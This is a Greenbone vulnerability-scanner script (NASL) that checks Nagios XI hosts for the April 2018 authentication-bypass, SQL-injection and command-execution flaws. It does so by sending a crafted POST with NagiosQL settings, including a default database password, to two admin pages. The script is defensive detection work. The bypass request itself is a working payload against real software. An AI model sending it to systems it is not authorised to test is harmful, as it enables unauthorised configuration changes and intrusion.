Nagios XI Multiple Vulnerabilities (Apr 2018) - Active Check

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:nagios:nagios_xi";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.813215");
  script_version("2023-12-01T05:05:39+0000");
  script_tag(name:"last_modification", value:"2023-12-01 05:05:39 +0000 (Fri, 01 Dec 2023)");
  script_tag(name:"creation_date", value:"2018-04-27 10:44:16 +0530 (Fri, 27 Apr 2018)");
  script_tag(name:"cvss_base", value:"9.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");

  script_cve_id("CVE-2018-8733", "CVE-2018-8734", "CVE-2018-8735", "CVE-2018-8736",
                "CVE-2018-10736", "CVE-2018-10735", "CVE-2018-10738", "CVE-2018-10737",
                "CVE-2018-10810");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Nagios XI Multiple Vulnerabilities (Apr 2018) - Active Check");

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_dependencies("gb_nagios_xi_http_detect.nasl");
  script_mandatory_keys("nagios/nagios_xi/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Nagios XI is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send crafted data via 'HTTP POST' request and check whether it
  is able access the restricted pages.");

  script_tag(name:"insight", value:"Multiple flaws are due to:

  - Authentication bypass vulnerability in the core config manager in allows an unauthenticated
  attacker to make configuration changes and leverage an authenticated SQL injection vulnerability.

  - SQL injection vulnerability in the core config manager allows an attacker to execute arbitrary SQL
  commands via the selInfoKey1 parameter.

  - A remote command execution (RCE) vulnerability allows an attacker to execute arbitrary commands on
  the target system, aka OS command injection.

  - A privilege escalation vulnerability, allows an attacker to leverage an RCE vulnerability
  escalating to root.

  - SQL injection vulnerability in the txtSearch parameter of admin/logbook.php.

  - SQL injection vulnerability in the chbKey1 parameter of admin/menuaccess.php.

  - SQL injection vulnerability in the cname parameter of admin/commandline.php.

  - SQL injection vulnerability in the key1 parameter of admin/info.php.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attacker to execute
  arbitrary SQL commands, execute arbitrary commands and to leverage an RCE vulnerability escalating
  to root.");

  script_tag(name:"affected", value:"Nagios XI versions 5.2.x prior to 5.4.13.");

  script_tag(name:"solution", value:"Update to version 5.4.13 or later. Please see the references for
  more information.");

  script_xref(name:"URL", value:"https://www.nagios.com/downloads");
  script_xref(name:"URL", value:"https://gist.github.com/caleBot/f0a93b5a98574393e0139104eacc2d0f");
  script_xref(name:"URL", value:"https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT");
  script_xref(name:"URL", value:"https://github.com/rapid7/metasploit-framework/pull/9938");
  script_xref(name:"URL", value:"http://blog.redactedsec.net/exploits/2018/04/26/nagios.html");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if (!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

url = "/nagiosql/admin/helpedit.php"; # nb: Use the location from above?
login_data = 'txtRootPath=nagiosql%2F&txtBasePath=%2Fvar%2Fwww%2Fhtml' +
             '%2Fnagiosql%2F&selProtocol=http&txtTempdir=%2Ftmp&selLa' +
             'nguage=en_GB&txtEncoding=utf-8&txtDBserver=localhost&tx' +
             'tDBport=3306&txtDBname=nagiosql&txtDBuser=nagiosql&txtD' +
             'Bpass=n%40gweb&txtLogoff=3600&txtLines=15&selSeldisable=1';
req = http_post_put_req(port:port, url:url, data:login_data,
                        add_headers:make_array("Content-Type", "application/x-www-form-urlencoded"));
buf = http_keepalive_send_recv(port:port, data:req);

## Fixed versions returns HTTP/1.1 403 Forbidden
if(buf =~ "^HTTP/1\.[01] 302" && ">Sub key<" >< buf &&
   ">Nagios Core Config Manager<" >< buf && ">serviceextinfo<" >< buf
    && ">NagiosQL - Version:" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

url = "/nagiosql/admin/settings.php";
req = http_post_put_req(port:port, url:url, data:login_data,
                        add_headers:make_array("Content-Type", "application/x-www-form-urlencoded"));
buf = http_keepalive_send_recv(port:port, data:req);

## Fixed versions returns HTTP/1.1 403 Forbidden
if(buf =~ "^HTTP/1\.[01] 302" && "NagiosQL System Monitoring Administration Tool" >< buf
  && ">Nagios Core Config Manager<" >< buf && ">Settings<" >< buf && ">NagiosQL<" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);